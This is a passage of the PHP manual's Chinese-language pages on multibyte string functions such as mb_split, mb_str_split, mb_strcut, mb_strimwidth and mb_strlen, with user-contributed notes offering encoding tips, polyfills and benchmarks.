   $headers .= "From: $from <$from_email>\\n";
   $headers .= "Reply-To: $from <$from_email>\\n";

  /* If the body  is HTML or plain text set the Content-Type header accordingly */

   if ($is_html_content) {
     $headers .= "Content-Type: text/html;charset=ISO-2022-JP\\n";
     /* turn all line breaks into BR tags */
     $body = nl2br($body);
   }
     else {
     $headers .= "Content-Type: text/plain;charset=ISO-2022-JP\\n";
   }

  /* need to convert body to same encoding as stated in Content-Type header above */

  $body = mb_convert_encoding($body, "ISO-2022-JP","AUTO");

  /* set any sendmail params, optional ... */
  $sendmail_params  = "-f$from_email";

  /*
   The subject is actually a "header" and can/will get mangled
   if it contains non-ASCII characters. So we need to convert
   the subject to something containing only ASCII characters.

   First we convert the subject to the same encoding as the
   body, then we use mb_encode_mimeheader() to make the subject
   line all ASCII characters.
  */

   mb_language("ja");
   $subject = mb_convert_encoding($subject, "ISO-2022-JP","AUTO");
   $subject = mb_encode_mimeheader($subject);

   mail($to, $subject, $body, $headers, $sendmail_params);
}
gordon at kanazawa-gu dot ac dot jp 28-Dec-2002 06:07
If your server doesn't have mb_send_mail() enabled but you want to use non-ascii (multi-byte) chars in an email's subject or name headers, you can use something like the following:

$charset = "iso-2202-jp"; // japanese
$to = encode("japanese name 01", $charset) . " <to@email.com>";
$from = encode("japanese name 02", $charset) . " <from@email.com>";
$subject = encode("japanese text", $charset);
$message = "does not need to be encoded";
mail($to, $subject, $message, $from);

function encode($in_str, $charset) {
    $out_str = $in_str;
    if ($out_str && $charset) {

        // define start delimimter, end delimiter and spacer
        $end = "?=";
        $start = "=?" . $charset . "?B?";
        $spacer = $end . "\r\n " . $start;

        // determine length of encoded text within chunks
        // and ensure length is even
        $length = 75 - strlen($start) - strlen($end);
        $length = floor($length/2) * 2;

        // encode the string and split it into chunks
        // with spacers after each chunk
        $out_str = base64_encode($out_str);
        $out_str = chunk_split($out_str, $length, $spacer);

        // remove trailing spacer and
        // add start and end delimiters
        $spacer = preg_quote($spacer);
        $out_str = preg_replace("/" . $spacer . "$/", "", $out_str);
        $out_str = $start . $out_str . $end;
    }
    return $out_str;
}
// for details on Message Header Extensions
// for Non-ASCII Text see ...
// http://www.faqs.org/rfcs/rfc2047.html
no dot email dot address at example dot com 14-Sep-2002 03:53
Tested with PHP 4.2.2 on Linux: Please note that if you're using Unicode (mb_language("uni")) and you attempt to send mail with mb_send_mail(), you will need to base64_encode() the message body - mb_send_mail() doesn't do that for you. It does, however, issue the correct message headers, so you don't need to worry about that.

Also note that neither mb_language() nor mb_send_mail() is able to convert your message to UTF-8. *You* need to provide the UTF-8-encoded (and base64-encoded) message, and then mb_send_mail() will issue the correct message headers.

Here's an example of sending an UTF-8-encoded message with mb_send_mail():

mb_language("uni");
$body = chunk_split(base64_encode("International characters"));
mb_send_mail("someone@example.com", "Subject", $body);

If the receiving mail client supports UTF-8 properly, you will be able to send messages that contain a mix of all kinds of characters (e.g., you could send Thai, Chinese, and Danish characters in the same message). Not all mail clients support UTF-8, though. At the time of writing, some of the more popular Windows email clients - Eudora and Pegasus Mail - don't. There are a number of email clients with working support for UTF-8. These include Outlook Express, KMail, Mozilla, Netscape 6/7, Sylpheed, Evolution and others.


使用正则表达式分割多字节字符串

  • ? mb_send_mail
  • mb_str_pad ?
  • PHP Manual
  • 多字节字符串 函数
  • 使用正则表达式分割多字节字符串

mb_split

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_split — 使用正则表达式分割多字节字符串

说明

mb_split(string $pattern, string $string, int $limit = -1): array|false

使用正则表达式 pattern 分割多字节 string 并返回结果 array。

参数

pattern

正则表达式。

string

待分割的 string。

limit
如果指定了可选参数 limit，将最多分割为 limit 个元素。

返回值

结果为 array， 或者在失败时返回 false。

注释

Note:

The character encoding specified by mb_regex_encoding() will be used as the character encoding for this function by default.

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg() - Regular expression match with multibyte support

User Contributed Notes

thflori at gmail 06-Jul-2017 02:34
I agree that some people might want a mb_explode('', $string);

this is my solution for it:

<?php

$string = 'Hall?le';

$array = array_map(function ($i) use ($string) {
    return mb_substr($string, $i, 1);
}, range(0, mb_strlen($string) -1));

expect($array)->toEqual(['H', 'a', 'l', 'l', '?', 'l', 'e']);

?>
Stas Trefilov, Vertilia 02-Jul-2015 11:01
a (simpler) way to extract all characters from a UTF-8 string to array with a single call to a built-in function:

<?php
  $str = 'Ма-
руся';
  print_r(preg_split('//u', $str, null, PREG_SPLIT_NO_EMPTY));
?>

Output:

Array
(
    [0] => М
    [1] => а
    [2] => -
    [3] =>

    [4] => р
    [5] => у
    [6] => с
    [7] => я
)
gunkan at terra dot es 05-Apr-2012 06:17
To split an string like this: "日、に、本、ほん、語、ご" using the "、" delimiter i used:

     $v = mb_split('、',"日、に、本、ほん、語、ご");

but didn't work.

The solution was to set this before:

       mb_regex_encoding('UTF-8');
      mb_internal_encoding("UTF-8");
     $v = mb_split('、',"日、に、本、ほん、語、ご");

and now it's working:

Array
(
    [0] => 日
    [1] => に
    [2] => 本
    [3] => ほん
    [4] => 語
    [5] => ご
)
boukeversteegh at gmail dot com 14-Apr-2011 01:23
The $pattern argument doesn't use /pattern/ delimiters, unlike other regex functions such as preg_match.

<?php
   # Works. No slashes around the /pattern/
   print_r( mb_split("\s", "hello world") );
   Array (
      [0] => hello
      [1] => world
   )

   # Doesn't work:
   print_r( mb_split("/\s/", "hello world") );
   Array (
      [0] => hello world
   )
?>
boukeversteegh at gmail dot com 10-Sep-2010 09:43
In addition to Sezer Yalcin's tip.

This function splits a multibyte string into an array of characters. Comparable to str_split().

<?php
function mb_str_split( $string ) {
    # Split at all position not after the start: ^
    # and not before the end: $
    return preg_split('/(?<!^)(?!$)/u', $string );
}

$string   = '火车票';
$charlist = mb_str_split( $string );

print_r( $charlist );
?>

# Prints:
Array
(
    [0] => 火
    [1] => 车
    [2] => 票
)
qdb at kukmara dot ru 25-Mar-2010 02:46
an other way to str_split multibyte string:
<?php
$s='???????';

//$temp_s=iconv('UTF-8','UTF-16',$s);
$temp_s=mb_convert_encoding($s,'UTF-16','UTF-8');
$temp_a=str_split($temp_s,4);
$temp_a_len=count($temp_a);
for($i=0;$i<$temp_a_len;$i++){
    //$temp_a[$i]=iconv('UTF-16','UTF-8',$temp_a[$i]);
    $temp_a[$i]=mb_convert_encoding($temp_a[$i],'UTF-8','UTF-16');
}

echo('<pre>');
print_r($temp_a);
echo('</pre>');

//also possible to directly use UTF-16:
define('SLS',mb_convert_encoding('/','UTF-16'));
$temp_s=mb_convert_encoding($s,'UTF-16','UTF-8');
$temp_a=str_split($temp_s,4);
$temp_s=implode(SLS,$temp_a);
$temp_s=mb_convert_encoding($temp_s,'UTF-8','UTF-16');
echo($temp_s);
?>
gert dot matern at web dot de 03-Aug-2009 03:34
We are talking about Multi Byte ( e.g. UTF-8) strings here, so preg_split will fail for the following string:

'Wei?e Rosen sind nicht grün!'

And because I didn't find a regex to simulate a str_split I optimized the first solution from adjwilli a bit:

<?php
$string = 'Wei?e Rosen sind nicht grün!'
$stop   = mb_strlen( $string);
$result = array();

for( $idx = 0; $idx < $stop; $idx++)
{
   $result[] = mb_substr( $string, $idx, 1);
}
?>

Here is an example with adjwilli's function:

<?php
mb_internal_encoding( 'UTF-8');
mb_regex_encoding( 'UTF-8');

function mbStringToArray
( $string
)
{
  $stop   = mb_strlen( $string);
  $result = array();

  for( $idx = 0; $idx < $stop; $idx++)
  {
     $result[] = mb_substr( $string, $idx, 1);
  }

  return $result;
}

echo '<pre>', PHP_EOL,
print_r( mbStringToArray( 'Wei?e Rosen sind nicht grün!', true)), PHP_EOL,
'</pre>';
?>

Let me know [by personal email], if someone found a regex to simulate a str_split with mb_split.
adjwilli at yahoo dot com 26-Dec-2007 09:37
I figure most people will want a simple way to break-up a multibyte string into its individual characters. Here's a function I'm using to do that. Change UTF-8 to your chosen encoding method.

<?php
function mbStringToArray ($string) {
    $strlen = mb_strlen($string);
    while ($strlen) {
        $array[] = mb_substr($string,0,1,"UTF-8");
        $string = mb_substr($string,1,$strlen,"UTF-8");
        $strlen = mb_strlen($string);
    }
    return $array;
}
?>


Pad a multibyte string to a certain length with another multibyte string

  • ? mb_split
  • mb_str_split ?
  • PHP Manual
  • 多字节字符串 函数
  • Pad a multibyte string to a certain length with another multibyte string

mb_str_pad

(PHP 8 >= PHP 8.3.0)

mb_str_pad — Pad a multibyte string to a certain length with another multibyte string

说明

mb_str_pad(
string $string,
int $length,
string $pad_string = " ",
int $pad_type = STR_PAD_RIGHT,
?string $encoding = null
): string

This function returns the string padded on the left, the right, or both sides to the specified padding length, where the length is measured in Unicode codepoints. If the optional argument pad_string is not supplied, the string is padded with spaces, otherwise it is padded with characters from pad_string up to the limit.

参数

string

The input string.

length

If the value of length is negative, less than, or equal to the length of the input string, no padding takes place, and string will be returned.

pad_string

Note:

The pad_string may be truncated if the required number of padding characters can't be evenly divided by the pad_string's length.

pad_type

Optional argument pad_type can be STR_PAD_RIGHT, STR_PAD_LEFT, or STR_PAD_BOTH. By default STR_PAD_RIGHT.

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

Returns the padded string.

示例

Example #1 mb_str_pad() example

<?php
var_dump(mb_str_pad('??', 6, '???', STR_PAD_RIGHT)); // string(18) "??????"
var_dump(mb_str_pad('??', 6, '???', STR_PAD_LEFT)); // string(18) "??????"
var_dump(mb_str_pad('??', 6, '???', STR_PAD_BOTH)); // string(18) "??????"

var_dump(mb_str_pad("??", 3, "祝", STR_PAD_LEFT)); // string(10) "祝祝??"
?>

User Contributed Notes

There are no user contributed notes for this page.


指定多字节字符串，返回其字符数组

  • ? mb_str_pad
  • mb_strcut ?
  • PHP Manual
  • 多字节字符串 函数
  • 指定多字节字符串，返回其字符数组

mb_str_split

(PHP 7 >= 7.4.0, PHP 8)

mb_str_split — 指定多字节字符串，返回其字符数组

说明

mb_str_split(string $string, int $length = 1, ?string $encoding = null): array

此函数将返回一个字符串数组，这是一个支持字符变长编码以及 1、2、4 字节字符定长编码版本的 str_split()。 如果指定了 length 参数，则将字符串按指定的字符长度（而不是字节长度）拆分为块。 可以选择指定 encoding 参数，这样是很好的做法。

参数

string

要拆分为单个字符或块的字符串。

length

如果指定，则返回的数组中的每个元素将会由多个字符而不是单个字符组成。

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

一个字符串，用于指定一种受支持的编码。

返回值

mb_str_split() 返回字符串数组。

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。
8.0.0 | 此函数在失败时不再返回 false。

参见

  • str_split() - 将字符串转换为数组

User Contributed Notes

webmaster at redinfo dot co dot kr 25-Aug-2022 04:29
if( !function_exists('mb_str_split')){
    function mb_str_split(  $string = '', $length = 1 , $encoding = null ){
        if(!empty($string)){
            $split = array();
            $mb_strlen = mb_strlen($string,$encoding);
            for($pi = 0; $pi < $mb_strlen; $pi += $length){
                $substr = mb_substr($string, $pi,$length,$encoding);
                if( !empty($substr)){
                    $split[] = $substr;
                }
            }
        }
        return $split;
    }
}
vovan-ve at yandex dot ru 25-Oct-2020 05:48
Lazy polyfill for UTF-8 only:

function utf8_str_split(string $input, int $splitLength = 1)
{
    $re = \sprintf('/\\G.{1,%d}+/us', $splitLength);
    \preg_match_all($re, $input, $m);
    return $m[0];
}
info at ensostudio dot ru 11-Oct-2020 11:04
Note: function return NULL if can't convert argument type.

Polyfill PHP < 7.4 based on package "symfony/polyfill-mbstring":
<?php
function mb_str_split($string, $split_length = 1, $encoding = null)
{
    if (null !== $string && !\is_scalar($string) && !(\is_object($string) && \method_exists($string, '__toString'))) {
        trigger_error('mb_str_split(): expects parameter 1 to be string, '.\gettype($string).' given', E_USER_WARNING);
        return null;
    }
    if (null !== $split_length && !\is_bool($split_length) && !\is_numeric($split_length)) {
        trigger_error('mb_str_split(): expects parameter 2 to be int, '.\gettype($split_length).' given', E_USER_WARNING);
        return null;
    }
    $split_length = (int) $split_length;
    if (1 > $split_length) {
        trigger_error('mb_str_split(): The length of each segment must be greater than zero', E_USER_WARNING);
        return false;
    }
    if (null === $encoding) {
        $encoding = mb_internal_encoding();
    } else {
        $encoding = (string) $encoding;
    }

    if (! in_array($encoding, mb_list_encodings(), true)) {
        static $aliases;
        if ($aliases === null) {
            $aliases = [];
            foreach (mb_list_encodings() as $encoding) {
                $encoding_aliases = mb_encoding_aliases($encoding);
                if ($encoding_aliases) {
                    foreach ($encoding_aliases as $alias) {
                        $aliases[] = $alias;
                    }
                }
            }
        }
        if (! in_array($encoding, $aliases, true)) {
            trigger_error('mb_str_split(): Unknown encoding "'.$encoding.'"', E_USER_WARNING);
            return null;
        }
    }

    $result = [];
    $length = mb_strlen($string, $encoding);
    for ($i = 0; $i < $length; $i += $split_length) {
        $result[] = mb_substr($string, $i, $split_length, $encoding);
    }
    return $result;
}
?>


获取字符的一部分

  • ? mb_str_split
  • mb_strimwidth ?
  • PHP Manual
  • 多字节字符串 函数
  • 获取字符的一部分

mb_strcut

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strcut — 获取字符的一部分

说明

mb_strcut(
string $string,
int $start,
?int $length = null,
?string $encoding = null
): string

mb_strcut() 和 mb_substr() 类似，都是从字符串中提取子字符串，但是按字节数来执行，而不是字符个数。 如果截断位置位于多字节字符两个字节的中间，将于该字符的第一个字节开始执行。 这也是和 substr() 函数的不同之处，后者简单地将字符串在字节之间截断，这将导致一个畸形的字节序列。

参数

string

要截断的 string。

start

如果 start 不是负数，返回的字符串会从 string 的第 start 字节位置开始，从 0 开始计数。举个例子，字符串 'abcdef'，字节位置 0 的字符是 'a'，字节位置 2 的字符是 'c'，以此类推。

如果 start 是负数，返回的字符串是从 string 末尾倒数第 start 个字节开始的。但是，如果负 start 大于字符串的长度，则返回的部分将从 string 的开头开始。

length

字节长度。如果省略或传递 NULL，则将所有字节提取到字符串的末尾。

如果 length 为负数，则返回的字符串将在从 string 末尾倒数的第 length 个字节处结束。但是，如果负 length 大于 start 位置之后的字符数，则返回空字符串。

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

mb_strcut() 根据 start 和 length 参数返回 string 的一部分。

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。

参见

  • mb_substr() - 获取部分字符串
  • mb_internal_encoding() - 设置/获取内部字符编码

User Contributed Notes

David Juhasz 15-Nov-2021 11:49
This was driving me crazy, because mb_strcut() kept returning an empty string.  The $length parameter seems to have a max value of 2^32-1 (2147483647).

Works:
<?php
  # output: Полуустав
  echo mb_strcut('Полуустав', 0, pow(2,31)-1);
?>

Doesn't work:
<?php
  # nothing is output
  echo mb_strcut('Полуустав', 0, pow(2,31));
?>

My PHP_INT_MAX value is much larger than 2^32-1, so I'm not sure why larger values for $length don't work. :(

<?php
  # output: 9223372036854775807
  echo PHP_INT_MAX;
?>
olivthill at gmail dot com 16-Nov-2017 02:30
Here is an example with UTF8 characters, to see how the start and length arguments are working:

  $str_utf8 = utf8_encode("Déjà_vu");
  $str_utf8_0 = mb_strcut($str_utf8, 0, 4, "UTF-8"); // Déj
  $str_utf8_1 = mb_strcut($str_utf8, 1, 4, "UTF-8"); // éj
  $str_utf8_2 = mb_strcut($str_utf8, 2, 4, "UTF-8"); // éj
  $str_utf8_3 = mb_strcut($str_utf8, 3, 4, "UTF-8"); // jà_
  $str_utf8_4 = mb_strcut($str_utf8, 4, 4, "UTF-8"); // à_v

The string includes two special charaters, "é" and "à" internally coded with two bytes.
Note that a multibyte character is removed rather than kept in half at the end of the output.
Note also that the result is the same for a cut 1,4 and a cut 2,4 with this string.
php_engineer_bk at yahoo dot com 08-Oct-2010 03:52
function cut_sense($matne_harf, $l_harf ,$return=1 ) {
if ( strlen($matne_harf) > $l_harf){
$end='...';
}else{
$end='';
}
    if ( function_exists('mb_strcut') ){
        $matne_harf = mb_strcut ( $matne_harf, 0 , $l_harf , "UTF-8" );
    }else{
        $matne_harf =substr($matne_harf, 0, $l_harf);
    }
$text=''.$matne_harf.''.$end.'';
  if ( $return == 1){
  return $text;
  }else{
  print $text;
  }
}

Iranian php programmer (farhad zand +989383015266)
t dot starling at physics dot unimelb dot edu dot au 27-Aug-2004 04:01
What the manual and the first commenter are trying to say is that mb_strcut uses byte offsets, as opposed to mb_substr which uses character offsets.

Both mb_strcut and mb_substr appear to treat negative and out-of-range offsets and lengths in the basically the same way as substr. An exception is that if start is too large, an empty string will be returned rather than FALSE. Testing indicates that mb_strcut first works out start and end byte offsets, then moves each offset left to the nearest character boundary.
oyag02 at yahoo dot co dot jp 26-Sep-2003 03:53
diffrence between mb_substr and mb_substr

example:
mb_strcut('I_ROHA', 1, 2) returns 'I_'. Treated as byte stream.
mb_substr('I_ROHA', 1, 2) returns 'ROHA' Treated as character stream.

# 'I_' 'RO' 'HA' means multi-byte character


获取按指定宽度截断的字符串

  • ? mb_strcut
  • mb_stripos ?
  • PHP Manual
  • 多字节字符串 函数
  • 获取按指定宽度截断的字符串

mb_strimwidth

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strimwidth — 获取按指定宽度截断的字符串

说明

mb_strimwidth(
string $string,
int $start,
int $width,
string $trim_marker = "",
?string $encoding = null
): string

将 string string 截断到指定 width。其中半角字符计为 1，全角字符计为 2。有关东亚字符宽度的详细信息，请参阅 » http://www.unicode.org/reports/tr11/。

参数

string

要截断的 string。

start

开始位置的偏移。从这些字符数开始的截取字符串。（默认是 0 个字符） 如果 start 是负数，就是字符串结尾处的字符数。

width

所需修剪的宽度。如果指定负宽度，则从字符串末尾开始计数。

Note:

从 PHP 8.3.0 起，传递负宽度已被弃用。

trim_marker

当字符串被截断的时候，将此字符串添加到截断后的末尾。

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

截断后的 string。如果设置了 trim_marker，还将结尾处的字符替换为 trim_marker ，并符合 width 的宽度。

更新日志

版本 | 说明
8.3.0 | 将负的 width 传递给 mb_strimwidth() 现已废弃。
8.0.0 | 现在 encoding 可以为 null。
7.1.0 | 支持负数的 start 和 width。

示例

Example #1 mb_strimwidth() 示例

<?php
echo mb_strimwidth("Hello World", 0, 10, "...");
// 输出 Hello W...
?>

参见

  • mb_strwidth() - 返回字符串的宽度
  • mb_internal_encoding() - 设置/获取内部字符编码

User Contributed Notes

jamesgrimshaw2006 at gmail dot com 05-Oct-2023 09:56
mb_strimwidth will only append "trim_marker" if the string is over the width.

*test code*
     $HashTags = 'Results';
     $socialmediatext = 'abcdefghijklmnopqrstuvwxyz';
     for( $i=0; $i<=20; $i++ )
     {
         $socialmediatext .= '.';
         $Twittext = mb_strimwidth($socialmediatext,0,35,$HashTags);
         echo "<p>[".strlen($Twittext)."]$Twittext</p>";
     }

*output*
[27]abcdefghijklmnopqrstuvwxyz.
[28]abcdefghijklmnopqrstuvwxyz..
[29]abcdefghijklmnopqrstuvwxyz...
[30]abcdefghijklmnopqrstuvwxyz....
[31]abcdefghijklmnopqrstuvwxyz.....
[32]abcdefghijklmnopqrstuvwxyz......
[33]abcdefghijklmnopqrstuvwxyz.......
[34]abcdefghijklmnopqrstuvwxyz........
[35]abcdefghijklmnopqrstuvwxyz.........
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
[35]abcdefghijklmnopqrstuvwxyz..Results
dregad at NOSPAM-mantisbt dot org 12-Apr-2023 01:54
I see a lot of usage in the field where people rely on this function to truncate a string to a given length and append some chars at the end following example #1 in the above documentation.

While this works just fine with Western alphabets, it should be noted that a string's width is NOT necessarily the same as its length.

In Chinese, Japanese and Korean, some characters can be represented as full or half width, which may lead to unexpected results...

<?php
$str = ['English' => 'Switzerland',
        'Half width' => '???',
        'Full width' => 'スイス',
       ];
foreach ($str as $w => $s) {
    printf("%-10s: %s (bytes=%d chars=%d width=%d)\nSubstring : %s\nTrim width: %s\n\n",
        $w, $s,
        strlen($s), mb_strlen($s), mb_strwidth($s),
        mb_substr($s, 0, 3),
        mb_strimwidth($s, 0, 3)
    );
}
/* Output
# With ASCII, chars == width, so everything works as expected
English   : Switzerland (bytes=11 chars=11 width=11)
Substring : Swi
Trim width: Swi

# With half-width katakanas, it works too
Half width: ??? (bytes=9 chars=3 width=3)
Substring : ???
Trim width: ???

# Full-width katakanas are twice as wide, so we only get the 1st 'su' !
Full width: スイス (bytes=9 chars=3 width=6)
Substring : スイス
Trim width: ス
*/
>?


大小写不敏感地查找字符串在另一个字符串中首次出现的位置

  • ? mb_strimwidth
  • mb_stristr ?
  • PHP Manual
  • 多字节字符串 函数
  • 大小写不敏感地查找字符串在另一个字符串中首次出现的位置

mb_stripos

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_stripos — 大小写不敏感地查找字符串在另一个字符串中首次出现的位置

说明

mb_stripos(
string $haystack,
string $needle,
int $offset = 0,
?string $encoding = null
): int|false

mb_stripos() 返回 needle 在字符串 haystack 中首次出现位置的数值。 和 mb_strpos() 不同的是，mb_stripos() 是大小写不敏感的。 如果 needle 没找到，它将返回 false。

参数

haystack

在这个字符串中查找获取 needle 首次出现的位置

needle

在 haystack 中查找这个字符串

offset

haystack 里开始搜索的位置。如果是负数，就从字符串的尾部开始统计。

encoding

使用的字符编码名称。 如果省略了它，将使用内部字符编码。

返回值

返回字符串 haystack 中 needle 首次出现位置的数值。 如果没有找到 needle，它将返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 needle 接受空字符串。
8.0.0 | 现在 encoding 可以为 null。
7.1.0 | 支持 offset 使用负数。

参见

  • stripos() - 查找字符串首次出现的位置（不区分大小写）
  • strpos() - 查找字符串首次出现的位置
  • mb_strpos() - 查找字符串在另一个字符串中首次出现的位置

User Contributed Notes

FangTS_ 26-Aug-2019 08:27
How works on examples mb_stripos:

First we will watch example on symbols(..?).
<?php
$text = "Look! It's a text! Wow!"; //simple text
$spaceIsHere = mb_stripos($text," "); //you can replace " " on something what you need or want
$text2 = mb_substr($text,$spaceIsHere); //cutting text with $spaceIsHere
print ($text2);
/* Print will show that result:
" It's a text! Wow!"
Look. That " " wasn't cutted, because mb_substr don't write in var position after " " - he write WHERE is " " in string. */
?>

Also it can work on words, sentences...
Here's one of examples:
<?php
$text = "Look! It's a text! Wow!"; //familiar text, right?)
$afterNeededWord = mb_stripos($text,"text!"); //you can replace "text!" on something else what you need
$text3 = mb_substr($text, $afterNeededWord); //cutting string (it is string? im stupid in that question xD)
print ($text3);
/* Print will show that result:
"text! Wow!"
Explaining the same. */
?>

I hope it was useful with my "good" English skills. ;D
Have a nice day, coder.


大小写不敏感地查找字符串在另一个字符串里的首次出现

  • ? mb_stripos
  • mb_strlen ?
  • PHP Manual
  • 多字节字符串 函数
  • 大小写不敏感地查找字符串在另一个字符串里的首次出现

mb_stristr

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_stristr — 大小写不敏感地查找字符串在另一个字符串里的首次出现

说明

mb_stristr(
string $haystack,
string $needle,
bool $before_needle = false,
?string $encoding = null
): string|false

mb_strstr() 查找了 needle 在 haystack 中首次的出现并返回 haystack 的一部分。 和 mb_strstr() 不同的是，mb_stristr() 是大小写不敏感的。 如果 needle 没有找到，它将返回 false。

参数

haystack

要获取 needle 首次出现的字符串。

needle

在 haystack 中查找这个字符串。

before_needle

决定这个函数返回 haystack 的哪一部分。 如果设置为 true，它返回 haystack 中从开始到 needle 出现位置的所有字符（不包括 needle）。 如果设置为 false，它返回 haystack 中 needle 出现位置到最后的所有字符（包括了 needle）。

encoding

要使用的字符编码名称。 如果省略该参数，将使用内部字符编码。

返回值

返回 haystack 的一部分，或者 needle 没找到则返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 needle 接受空字符串。
8.0.0 | 现在 encoding 可以为 null。

参见

  • stristr() - strstr 函数的忽略大小写版本
  • strstr() - 查找字符串的首次出现
  • mb_strstr() - 查找字符串在另一个字符串里的首次出现

User Contributed Notes

nowfel dot terki at mailfence dot com 11-May-2022 09:04
Be aware that if needle is an empty string, mb_stristr return the haystack by default.

For exemple:

<?php
if (mb_stristr("foo", "")) {
    echo "We enter in condition";
}
?>

Because in the above exemple the return of mb_stristr is "foo".

So if we do not want this kind of behaviour, we must set the third argument, ($before_needle) to true.

<?php
if (mb_stristr("foo", "", true)) {
    echo "We do not enter in condition";
}
?>

It can be useful to know it, specially when needle is dynamic.


获取字符串的长度

  • ? mb_stristr
  • mb_strpos ?
  • PHP Manual
  • 多字节字符串 函数
  • 获取字符串的长度

mb_strlen

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strlen — 获取字符串的长度

说明

mb_strlen(string $string, ?string $encoding = null): int

获取一个 string 的长度。

参数

string

要检查长度的 string。

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

返回具有 encoding 编码的 string string 包含的字符数。 多字节的字符被计为 1。

错误／异常

如果 encoding 未知，则会生成 E_WARNING 级别的错误。

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。

参见

  • mb_internal_encoding() - 设置/获取内部字符编码
  • grapheme_strlen() - Get string length in grapheme units
  • iconv_strlen() - 返回字符串的字符数统计
  • strlen() - 获取字符串长度

User Contributed Notes

David Spector 08-Jan-2020 11:19
It may not be clear whether PHP actually supports utf-8, which is the current de facto standard character encoding for Web documents, which supports most human languages. The good news is: it does.

I wrote a test program which successfully reads in a utf-8 file (without BOM) and manipulates the characters using mb_substr, mb_strlen, and mb_strpos (mb_substr should normally be avoided, as it must always start its search at character position 0).

The results with a variety of Unicode test characters in utf-8 encoding, up to four bytes in length, were mostly correct, except that accent marks were always mistakenly treated as separate characters instead of being combined with the previous character; this problem can be worked around by programming, when necessary.
Yzmir Ramirez 15-Apr-2011 09:06
If you are unsure about what $encoding can be set to, here's a full list of all the encodings supported by this extension:

http://www.php.net/manual/en/mbstring.supported-encodings.php
Ben 19-Nov-2008 02:59
If you find yourself without the mb string functions and can't easily change it, a quick hack replacement for mb_strlen for utf8 characters is to use a a PCRE regex with utf8 turned on.

$strlen = preg_match_all("/.{1}/us",$utf8string,$dummy);

This is basically an ugly hack which counts all single character matches, and I'd expect it to be painfully slow on large strings.
drake127 12-Aug-2007 08:36
Speed of mb_strlen varies a lot according to specified character set.

If you need length of string in bytes (strlen cannot be trusted anymore because of mbstring.func_overload) you should use <?php mb_strlen($string, '8bit'); ?>.
It's the fastest way (still a way slower than strlen, though) to determine byte length of string. Other single byte character sets (ASCII, ISO-8859-1, ...) are several times slower than 8bit.
koala at example dot com 27-Jul-2007 12:19
Just did a little benchmarking (1.000.000 times with lorem ipsum text) on the mbs functions

especially mb_strtolower and mb_strtoupper are really slow (up to 100 times slower compared to normal functions). Other functions are alike-ish, but sometimes up to 5 times slower.

just be cautious when using mb_ functions in high frequented scripts.

# test runs: 1000000
# benchmarking strlen vs. mb_strlen
# normal strlen: 3.6795361042023 ms, average: 3.6795361042023E-6 ms
# mb_strlen: 5.5934538841248 ms, average: 5.5934538841248E-6 ms
ok 1 - mb_strlen is slower than strlen
# mb_strlen is 1.52 slower than strlen
#
#
# benchmarking strpos vs. mb_strpos
# normal strpos: 5.5523281097412 ms, average: 5.5523281097412E-6 ms
# mb_strlen: 31.180974960327 ms, average: 3.1180974960327E-5 ms
ok 2 - mb_strlen is slower than strlen
# mb_strpos is 5.62 slower than strpos
#
#
# benchmarking substr vs. mb_substr
# normal substr: 3.4437320232391 ms, average: 3.4437320232391E-6 ms
# mb_strlen: 3.5374181270599 ms, average: 3.5374181270599E-6 ms
ok 3 - mb_strlen is slower than strlen
# mb_substr is 1.03 slower than substr
#
#
# benchmarking strtolower vs. mb_strtolower
# normal strtolower: 4.446839094162 ms, average: 4.446839094162E-6 ms
# mb_strlen: 193.44901108742 ms, average: 0.00019344901108742 ms
ok 4 - mb_strlen is slower than strlen
# mb_strtolower is 43.5 slower than strtolower
#
#
# benchmarking strtoupper vs. mb_strtoupper
# normal strtoupper: 3.0210740566254 ms, average: 3.0210740566254E-6 ms
# mb_strlen: 340.71775603294 ms, average: 0.00034071775603294 ms
ok 5 - mb_strlen is slower than strlen
# mb_strtoupper is 112.78 slower than strtoupper
motin at demomusic dot nu 06-Feb-2007 10:12
Thank you Peter Albertsson for presenting that!

After spending more than eight hours tracking down two specific bugs in my mbstring-func_overloaded environment I have learned a very important lesson:

Many developers rely on strlen to give the amount of bytes in a string. While mb-overloading has very many advantages, the most hard-spotted pitfall must be this issue.

Two examples (from the two bugs found earlier):

1. Writing a string to a file:

<?php
$str = "string with utf-8 chars ?è? - doo-bee doo-bee dooh";
$fp = fopen($this->_file, "wb");
if ($fp) {
  $len = strlen($str);
  fwrite($fp, $str, $len);
}
?>

PS This is found i the PEAR::Cache_Lite package (Lite.php) - Reported

2. Iterating through a string's characters:

<?php
$str = "string with utf-8 chars ?è? - doo-bee doo-bee dooh";
$newStr = "";
for ($i = 0; $i < strlen($str); $i++) {
  $newStr .= $str[$i];
}
?>

Both of these situations will fail to save / store the last characters in $str. This can be very hard to spot and can be especially fatal for say serialized strings, xml etc.

So, try to avoid these situations to support overloaded environments, and remeber Peter Albertssons remark if you find problems under such an environment.
filatei at gmail dot com 12-Aug-2006 10:48
